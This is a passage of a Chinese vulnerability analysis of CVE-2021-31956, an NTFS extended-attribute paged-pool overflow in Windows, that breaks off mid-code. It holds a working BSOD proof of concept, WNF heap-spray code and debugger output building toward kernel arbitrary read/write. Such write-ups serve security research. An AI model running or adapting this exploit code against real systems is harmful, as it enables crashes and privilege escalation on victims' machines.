漏洞分析

漏洞存在于 ntfs.sys 驱动中的 NtfsQueryEaUserEaList 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, __int64 ea_blocks_for_file, __int64 a3, __int64 out_buffer, unsigned int out_buf_length, unsigned int *a6, char a7)
{
unsigned int eaList_iter; // ebx
unsigned int padding; // er15
_FILE_GET_EA_INFORMATION *current_ea; // r12
unsigned int nextEntryOffset; // er14
unsigned __int8 eaNameLength; // r13
_FILE_GET_EA_INFORMATION *i; // rbx
unsigned int occupied_length_0; // ebx
_DWORD *out_buf_pos; // r13
unsigned int ea_block_size; // er14
_FILE_FULL_EA_INFORMATION *ea_block; // rdx
unsigned int next_iter; // [rsp+20h] [rbp-38h]
unsigned int ea_block_pos; // [rsp+24h] [rbp-34h] BYREF
_DWORD *last_out_buf_pos; // [rsp+28h] [rbp-30h]
struct _STRING DestinationString; // [rsp+30h] [rbp-28h] BYREF
STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
unsigned int occupied_length; // [rsp+A0h] [rbp+48h]

last_out_buf_pos = 0i64;
eaList_iter = 0;
occupied_length = 0;
padding = 0;

while ( 1 )
{
current_ea = (_FILE_GET_EA_INFORMATION *)((char *)eaList + eaList_iter);
*(_QWORD *)&DestinationString.Length = 0i64;
DestinationString.Buffer = 0i64;
*(_QWORD *)&SourceString.Length = 0i64;
SourceString.Buffer = 0i64;
*(_QWORD *)&DestinationString.Length = current_ea->EaNameLength;
DestinationString.MaximumLength = DestinationString.Length;
DestinationString.Buffer = current_ea->EaName;
RtlUpperString(&DestinationString, &DestinationString);
if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )
break;
nextEntryOffset = current_ea->NextEntryOffset;
eaNameLength = current_ea->EaNameLength;
next_iter = current_ea->NextEntryOffset + eaList_iter;
for ( i = (_FILE_GET_EA_INFORMATION *)eaList; ; i = (_FILE_GET_EA_INFORMATION *)((char *)i + i->NextEntryOffset) )
{
if ( i == current_ea )
{
occupied_length_0 = occupied_length;
out_buf_pos = (_DWORD *)(out_buffer + padding + occupied_length);
if ( NtfsLocateEaByName(ea_blocks_for_file, *(_DWORD *)(a3 + 4), &DestinationString, &ea_block_pos) )
{
ea_block = (_FILE_FULL_EA_INFORMATION *)(ea_blocks_for_file + ea_block_pos);
ea_block_size = ea_block->EaValueLength + ea_block->EaNameLength + 9;
if ( ea_block_size <= out_buf_length - padding )
{
memmove(out_buf_pos, ea_block, ea_block_size);
*out_buf_pos = 0;
goto LABEL_8;
}
}
else{
...
LABEL_8:
occupied_length = ea_block_size + padding + occupied_length_0;
if ( !a7 ){
if ( last_out_buf_pos )
*last_out_buf_pos = (_DWORD)out_buf_pos - (_DWORD)last_out_buf_pos;
if ( current_ea->NextEntryOffset )
{
last_out_buf_pos = out_buf_pos;
out_buf_length -= ea_block_size + padding;
padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;
}
}
...
}
}
...

}
}

其中 FILE_FULL_EA_INFORMATION 的结构如下:

1
2
3
4
5
6
7
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

NtfsQueryEaUserEaList 中,ea_block 是由攻击者所控制的,而在 memmove 判断语句中的检查可能会存在 out_buf_length - padding 向下溢出的情况,而 out_buf 又是由上层函数 NtfsCommonQueryEa 所申请的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall NtfsCommonQueryEa(__int64 a1, __int64 a2)
{
...
if ( (_DWORD)out_buf_length )
{
...
if ( *(_BYTE *)(a2 + 64) )
{
v34 = v14;
out_buf = ExAllocatePoolWithTag((POOL_TYPE)17, out_buf_length, 'EFtN');
v28 = out_buf;
v24 = 1;
}
memset(out_buf, 0, out_buf_length);
...
}
if ( v33 )
{
v15 = NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)out_buf, out_buf_length, v33, v39);
}
...
}

其是根据 out_buf_length 作为大小申请的 paged pool ,当 memmove 的时候其拷贝了 ea_block_size 个字节,就可能导致溢出。

通过寻找 NtfsCommonQueryEa 函数的调用者,我们可以发现 NtQueryEaFile 这个系统调用会触发该函数,而根据 ZwQueryEaFile描述 ,我们可以发现 out_buf_length 是可以控制的,那么我们便可以随心所欲地更改其大小来达到触发漏洞的目的。

下面我们来研究一下该如何触发。在这里面 EA 指的是 extended attributes ,我们所传入的是是 FILE_FULL_EA_INFORMATION 结构的数据,假设文件的拓展属性中有两个拓展属性,当第一个拓展属性如下时:

1
2
ea_block->EaNameLength = 5
ea_block->EaValueLength = 4

我们可以计算出:

1
2
3
4
ea_block_size 
= ea_block->EaValueLength + ea_block->EaNameLength + 9
= 5 + 4 + 9
= 18

当然一开始的时候 paddingoccupied_length 都为 0 ,我们假设 out_buf_lenth30 ,那么:

1
2
3
4
5
6
7
8
9
padding = 0
occupied_length = 0
out_buf_length = 30
out_buf_pos = *(out_buffer + padding + occupied_length) = *out_buffer

ea_block_size <= out_buf_length - padding => 18 <= 30 - 0 => true

memmove(out_buf_pos, ea_block, ea_block_size)

此时会从 ea_block 拷贝 18 个字节到 out_buf ,然后 paddingout_buf_length 以及 occupied_length 都会做更新:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
occupied_length 
= ea_block_size + padding + occupied_length
= 18 + 0 + 0
= 18

out_buf_length
= out_buf_length - (ea_block_size + padding)
= 30 - (18 + 0)
= 12

padding
= ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size
= ((18 + 3) & 0xFFFFFFFC) - 18
= 2

其中 padding 之所以这么计算是因为每个 ea 块都应该被填充为 32 比特对齐的。

那么当函数处理第二个拓展属性的时候,假设其如下:

1
2
ea_block->EaNameLength = 5
ea_block->EaValueLength = 4

我们可以计算出:

1
2
3
4
ea_block_size 
= ea_block->EaValueLength + ea_block->EaNameLength + 9
= 5 + 4 + 9
= 18

此时的 padding2 ,那么:

1
2
3
4
5
6
padding = 2
out_buf_length = 12
occupied_length = 18

ea_block_size <= out_buf_length - padding => 18 <= 12 - 2 => false

判断的条件是不满足的,也就不会 memove

但是如果我们把 ouf_buf_length 在第一次的时候就设置为 18 ,那么它可以通过第一次的检查:

1
2
3
4
5
6
padding = 0
out_buf_length = 18
out_buf_pos = *(out_buffer + padding + occupied_length) = *out_buffer

ea_block_size <= out_buf_length - padding => 18 <= 18 - 0 => true
memmove(out_buf_pos, ea_block, ea_block_size)

然后在第二次的时候,因为计算向下溢出,所以也可以通过检查:

1
2
3
4
5
6
padding = 2
out_buf_length = 0
out_buf_pos = *(out_buffer + padding + occupied_length) = *(out_buffer + 20)

ea_block_size <= out_buf_length - padding => 18 <= 0 - 2 => true
memmove(out_buf_pos, ea_block, ea_block_size)

此时便会向 *(out_buffer + 20) 的地方再次拷贝 18 个字节的数据,而 out_buffer 只有 18 字节的大小,所以这里就造成了越界数据拷贝。

接下来是编写代码触发漏洞,从微软的 官方文档 中我们可以发现 ZwSetEaFile 可以用来设置文件的拓展属性:

1
2
3
4
5
6
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer,
[in] ULONG Length
);

那么根据上面所提到的内容,编写对应的 BSODpoc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <iostream>
#include <windows.h>

typedef struct _IO_STATUS_BLOCK
{
union
{
LONG Status;
PVOID Pointer;
};
ULONG Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;

typedef NTSTATUS(WINAPI* PZwSetEaFile)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length
);

typedef NTSTATUS(WINAPI* PZwQueryEaFile)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN BOOLEAN ReturnSingleEntry,
IN PVOID EaList,
IN ULONG EaListLength,
IN PULONG EaIndex,
IN BOOLEAN RestartScan
);

int main()
{

PZwSetEaFile ZwSetEaFile = (PZwSetEaFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetEaFile");

if (!ZwSetEaFile) {

DWORD err = GetLastError();
std::cerr << "failed to get ZwSetEaFile : " << err;
}

PZwQueryEaFile ZwQueryEaFile = (PZwQueryEaFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryEaFile");

if (!ZwQueryEaFile ) {

DWORD err = GetLastError();
std::cerr << "failed to get ZwQueryEaFile : " << err;
}

const wchar_t *filepath = L"C:\\Users\\Ver\\Desktop\\CVE-2021-31956\\test.txt";

HANDLE fileHandle = CreateFile(filepath,
GENERIC_READ | GENERIC_WRITE | DELETE,
NULL,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

if (fileHandle == INVALID_HANDLE_VALUE)
{
DWORD err = GetLastError();
std::cerr << "failed to open: " << err;
return err;
}
char setEaBuffer[0xff27] = {
0x14,0x00,0x00,0x00, // NextEntryOffset
0x00, // Flags
0x05, // EaNameLength
0x04,0x00, // EaValueLen
0x66,0x66,0x66,0x66,0x66,0x00, // name
0x67,0x67,0x67,0x67,0x00, // data
0x00, // padding

0x00,0x00,0x00,0x00, // NextEntryOffset
0x00, // Flags
0x04, // EaNameLength
0x05,0xff, // EaValueLen
0x66,0x66,0x66,0x66,0x00, // name
0x67,0x67,0x67,0x67,0x67,0x00, // data
};
IO_STATUS_BLOCK setEaIoStatusBlock = { 0 };

NTSTATUS status = ZwSetEaFile(fileHandle, (PIO_STATUS_BLOCK)&setEaIoStatusBlock, &setEaBuffer, sizeof(setEaBuffer));

if (status != (NTSTATUS)0) {
std::cerr << "failed to ZwSetEaFile: " << std::hex << status;
return status;
}

char eaListBuffer[] = {
0x0c,0x00,0x00,0x00, // NextEntryOffset
0x05, // EaNameLength
0x66,0x66,0x66,0x66,0x66,0x00, // name
0x00, // padding

0x00,0x00,0x00,0x00, // NextEntryOffset
0x04, // EaNameLength
0x66,0x66,0x66,0x66,0x00, // name
};

IO_STATUS_BLOCK queryEaIoStatusBlock = { 0 };
FILE_FULL_EA_INFORMATION queryEaBuffer = { 0 };
WORD queryEaBufferLength = 18;
status = ZwQueryEaFile(fileHandle, (PIO_STATUS_BLOCK)&queryEaIoStatusBlock, &queryEaBuffer, queryEaBufferLength, 0, &eaListBuffer, sizeof(eaListBuffer), 0, 0);
if (status != (NTSTATUS)0) {
std::cerr << "failed to ZwQueryEaFile: " << std::hex << status;
return status;
}

}

这里需要注意漏洞触发的函数是 NtfsQueryEaUserEaList ,所以在 ZwQueryEaFile 的时候要提供对应的 EaList 和 EaListLength ,如果只是正常的查询则走不到漏洞函数。同时我们设置的 NextEntryOffset 也是 32 比特对齐的,所以需要补足 padding 数据。

最终 BSOD 画面如下

Untitled.png

漏洞利用

从WNF到一定范围内的任意读写

在我们这个场景中,溢出的是分页池,针对分页池还没有一个比较通用的方法,故此有人逆向并使用了 WNFWNF(Windows Notification Facitily)Windows 中的一个通知系统,它实现了发布者/订阅者模型来传递通知。其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B

其中 StateData_WNF_STATE_DATA 结构如下:

1
2
3
4
5
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B

数据会紧跟着该结构,存储在该结构的后面。

我们可以使用 NtUpdateWnfStateData 方法来分配任意大小的堆块并存放任意数据,使用方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
extern "C"
NTSTATUS
NTAPI
NtUpdateWnfStateData(
_In_ PCWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID* Buffer,
_In_opt_ ULONG Length, // Must be less than MaximumSizewhen registered
_In_opt_ PCWNF_TYPE_ID TypeId, // Optionally, for type-safety
_In_opt_ const PVOID ExplicitScope,// Process handle, User SID, Session ID
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,// Expected current change stamp
_In_ LOGICAL CheckStamp// Enforce the above or silently ignore it
);

其过程中使用了 ExpWnfWriteStateData 函数:

1
v19 = ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u);

传入的 v6 就是 Length ,分配池的时候额外加上了 0x10 大小的头。

那么分配的时候,首先是 _POOL_HEADER ,如下所示:

1
2
3
4
5
6
7
8
9
10
11
0: kd> dt _POOL_HEADER
nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 8 Bits
+0x000 PoolIndex : Pos 8, 8 Bits
+0x002 BlockSize : Pos 0, 8 Bits
+0x002 PoolType : Pos 8, 8 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x008 ProcessBilled : Ptr64 _EPROCESS
+0x008 AllocatorBackTraceIndex : Uint2B
+0x00a PoolTagHash : Uint2B

随后是 0x10 大小的 _WNF_STATE_DATA

1
2
3
4
5
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B

最后便是数据的内容。

那么当我们使用如下代码的时候:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
NtCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, 0x1000, psd);
NtUpdateWnfStateData(&state, buf, alloc_size, 0, 0, 0, 0);

extern "C"
NTSTATUS
NTAPI
NtCreateWnfStateName(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId, // This is an optional way to get type-safety
_In_ ULONG MaximumStateSize,// Cannot be above 4KB
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor// *MUST* be present
);

我们便可以分配任意大小的堆块。

那么释放堆块的时候,我们只需要使用 NtDeleteWnfStateData ,其内部调用了 ExpWnfDeleteStateData 来进行释放。

1
2
3
4
5
6
7
extern "C"
NTSTATUS
NTAPI
NtDeleteWnfStateData(
_In_ PCWNF_STATE_NAME StateName,
_In_opt_ const VOID *ExplicitScope
);

我们来尝试一下,编写如下代码,其中 allocSize 固定为 0x100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <iostream>
#include <windows.h>

typedef struct _WNF_STATE_NAME {
ULONG Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

typedef const WNF_STATE_NAME* PCWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
WnfWellKnownStateName,
WnfPermanentStateName,
WnfPersistentStateName,
WnfTemporaryStateName
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_STATE_NAME_INFORMATION {
WnfInfoStateNameExist,
WnfInfoSubscribersPresent,
WnfInfoIsQuiescent
} WNF_STATE_NAME_INFORMATION;

typedef enum _WNF_DATA_SCOPE {
WnfDataScopeSystem,
WnfDataScopeSession,
WnfDataScopeUser,
WnfDataScopeProcess
} WNF_DATA_SCOPE;

typedef struct _WNF_TYPE_ID {
GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;

typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef ULONG LOGICAL;

typedef NTSTATUS(WINAPI* PZwCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId, // This is an optional way to get type-safety
_In_ ULONG MaximumStateSize,// Cannot be above 4KB
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor// *MUST* be present
);

typedef NTSTATUS(WINAPI* PZwUpdateWnfStateData)(
_In_ PCWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID* Buffer,
_In_opt_ ULONG Length, // Must be less than MaximumSizewhen registered
_In_opt_ PCWNF_TYPE_ID TypeId, // Optionally, for type-safety
_In_opt_ const PVOID ExplicitScope,// Process handle, User SID, Session ID
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,// Expected current change stamp
_In_ LOGICAL CheckStamp// Enforce the above or silently ignore it
);

int main()
{
PZwCreateWnfStateName ZwCreateWnfStateName = (PZwCreateWnfStateName)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwCreateWnfStateName");

if (!ZwCreateWnfStateName) {
DWORD err = GetLastError();
std::cerr << "failed to get ZwCreateWnfStateName : " << err;
return -1;
}

PZwUpdateWnfStateData ZwUpdateWnfStateData = (PZwUpdateWnfStateData)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUpdateWnfStateData");

if (!ZwUpdateWnfStateData) {
DWORD err = GetLastError();
std::cerr << "failed to get ZwUpdateWnfStateData : " << err;
return -1;
}

WNF_STATE_NAME state;
memset(&state, 0, sizeof(state));

SECURITY_DESCRIPTOR sd;
memset(&sd, 0, sizeof(sd));

if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) {
DWORD err = GetLastError();
std::cerr << "failed to InitializeSecurityDescriptor : " << err;
return -1;
}

NTSTATUS status = ZwCreateWnfStateName(&state, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, &sd);

if (status != (NTSTATUS)0) {
std::cerr << "failed to ZwCreateWnfStateName: " << std::hex << status;
return status;
}
const ULONG allocSize = 0x100;
char buffer[allocSize] = { 0 };
memset(buffer, 0x66, sizeof(buffer));

status = ZwUpdateWnfStateData(&state, buffer, sizeof(buffer), 0, 0, 0, 0);

if (status != (NTSTATUS)0) {
std::cerr << "failed to ZwUpdateWnfStateData: " << std::hex << status;
return status;
}
std::cout << "done!" << std::endl;
}

使用如下断点:

1
2
bp nt!ExpWnfWriteStateData "j @r8 = 0x100 '';'gc'"
bp nt!ExAllocatePoolWithQuotaTag "j @r8 = 0x20666E57 '';'gc'"

得到如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
0: kd> !pool ffff9f0847d46750
Pool page ffff9f0847d46750 region is Paged pool
ffff9f0847d46000 size: 1a0 previous size: 0 (Free) ....
ffff9f0847d461a0 size: 120 previous size: 0 (Allocated) NtFs
ffff9f0847d462c0 size: 120 previous size: 0 (Allocated) IoNm
ffff9f0847d463e0 size: 120 previous size: 0 (Allocated) VM3D
ffff9f0847d46500 size: 120 previous size: 0 (Allocated) IoNm
ffff9f0847d46620 size: 120 previous size: 0 (Allocated) NtFs
*ffff9f0847d46740 size: 120 previous size: 0 (Allocated) *Wnf Process: ffffc58e02014080
Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf
ffff9f0847d46860 size: 120 previous size: 0 (Allocated) IoNm
ffff9f0847d46980 size: 120 previous size: 0 (Allocated) IoNm
ffff9f0847d46aa0 size: 120 previous size: 0 (Allocated) IoNm
ffff9f0847d46bc0 size: 120 previous size: 0 (Allocated) NtFs
ffff9f0847d46ce0 size: 120 previous size: 0 (Allocated) NtFs
ffff9f0847d46e00 size: 120 previous size: 0 (Allocated) NtFs

0: kd> dc ffff9f0847d46750-0x10
ffff9f08`47d46740 0b120000 20666e57 1b572cab 19684ad3 ....Wnf .,W..Jh.
ffff9f08`47d46750 00100904 00000100 00000100 00000001 ................
ffff9f08`47d46760 66666666 66666666 66666666 66666666 ffffffffffffffff
ffff9f08`47d46770 66666666 66666666 66666666 66666666 ffffffffffffffff
ffff9f08`47d46780 66666666 66666666 66666666 66666666 ffffffffffffffff
ffff9f08`47d46790 66666666 66666666 66666666 66666666 ffffffffffffffff
ffff9f08`47d467a0 66666666 66666666 66666666 66666666 ffffffffffffffff
ffff9f08`47d467b0 66666666 66666666 66666666 66666666 ffffffffffffffff

0: kd> dt nt!_POOL_HEADER ffff9f0847d46750-0x10
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00010010 (0x12)
+0x002 PoolType : 0y00001011 (0xb)
+0x000 Ulong1 : 0xb120000
+0x004 PoolTag : 0x20666e57
+0x008 ProcessBilled : 0x19684ad3`1b572cab _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x2cab
+0x00a PoolTagHash : 0x1b57

0: kd> dt nt!_WNF_STATE_DATA ffff9f0847d46750
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : 0x100
+0x008 DataSize : 0x100
+0x00c ChangeStamp : 1

PoolType 中的比特位从高到低分别代表:

  • PoolQuota = 8
  • NonPagedPoolMustSucceed = 2
  • PagedPool = 1

分配的块与我们所设想的一致,随后我们尝试使用不同的 TypeId 来进行堆喷:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1: kd> !pool @rax
Pool page ffff9f084f8a1ad0 region is Paged pool
ffff9f084f8a10a0 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58dffb6e080
ffff9f084f8a11c0 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58dffb6e080
ffff9f084f8a12e0 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58dffb6e080
ffff9f084f8a1400 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58dffb6e080
ffff9f084f8a1520 size: 120 previous size: 0 (Allocated) Wnf Process: ffffc58dffb6e080
ffff9f084f8a1640 size: 120 previous size: 0 (Free) ....
ffff9f084f8a1760 size: 120 previous size: 0 (Free) ....
ffff9f084f8a1880 size: 120 previous size: 0 (Free) ....
ffff9f084f8a19a0 size: 120 previous size: 0 (Free) ....
*ffff9f084f8a1ac0 size: 120 previous size: 0 (Allocated) *Wnf Process: ffffc58dffb6e080
Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf
ffff9f084f8a1be0 size: 120 previous size: 0 (Free) ....
ffff9f084f8a1d00 size: 120 previous size: 0 (Free) ....
ffff9f084f8a1e20 size: 120 previous size: 0 (Free) ....

可以发现基本上已经喷到接下来可控的地步了,尝试释放其中一个 WNF 的块并用 NtFE 占据,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
#include <iostream>
#include <windows.h>

typedef struct _IO_STATUS_BLOCK
{
union
{
LONG Status;
PVOID Pointer;
};
ULONG Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;

typedef NTSTATUS(WINAPI* PZwSetEaFile)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length
);

typedef NTSTATUS(WINAPI* PZwQueryEaFile)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN BOOLEAN ReturnSingleEntry,
IN PVOID EaList,
IN ULONG EaListLength,
IN PULONG EaIndex,
IN BOOLEAN RestartScan
);

typedef struct _WNF_STATE_NAME {
ULONG Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

typedef const WNF_STATE_NAME* PCWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
WnfWellKnownStateName,
WnfPermanentStateName,
WnfPersistentStateName,
WnfTemporaryStateName
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_STATE_NAME_INFORMATION {
WnfInfoStateNameExist,
WnfInfoSubscribersPresent,
WnfInfoIsQuiescent
} WNF_STATE_NAME_INFORMATION;

typedef enum _WNF_DATA_SCOPE {
WnfDataScopeSystem,
WnfDataScopeSession,
WnfDataScopeUser,
WnfDataScopeProcess
} WNF_DATA_SCOPE;

typedef struct _WNF_TYPE_ID {
GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;

typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;

typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef ULONG LOGICAL;

typedef NTSTATUS(WINAPI* PZwCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ BOOLEAN PersistData,
_In_opt_ PCWNF_TYPE_ID TypeId, // This is an optional way to get type-safety
_In_ ULONG MaximumStateSize,// Cannot be above 4KB
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor// *MUST* be present
);

typedef NTSTATUS(WINAPI* PZwUpdateWnfStateData)(
_In_ PCWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID* Buffer,
_In_opt_ ULONG Length, // Must be less than MaximumSizewhen registered
_In_opt_ PCWNF_TYPE_ID TypeId, // Optionally, for type-safety
_In_opt_ const PVOID ExplicitScope,// Process handle, User SID, Session ID
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,// Expected current change stamp
_In_ LOGICAL CheckStamp// Enforce the above or silently ignore it
);

typedef NTSTATUS(WINAPI* PZwDeleteWnfStateData)(
_In_ PCWNF_STATE_NAME StateName,
_In_opt_ const VOID* ExplicitScope
);

int main()
{

PZwSetEaFile ZwSetEaFile = (PZwSetEaFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwSetEaFile");

if (!ZwSetEaFile) {
DWORD err = GetLastError();
std::cerr << "failed to get ZwSetEaFile : " << err;
return -1;
}

PZwQueryEaFile ZwQueryEaFile = (PZwQueryEaFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQueryEaFile");

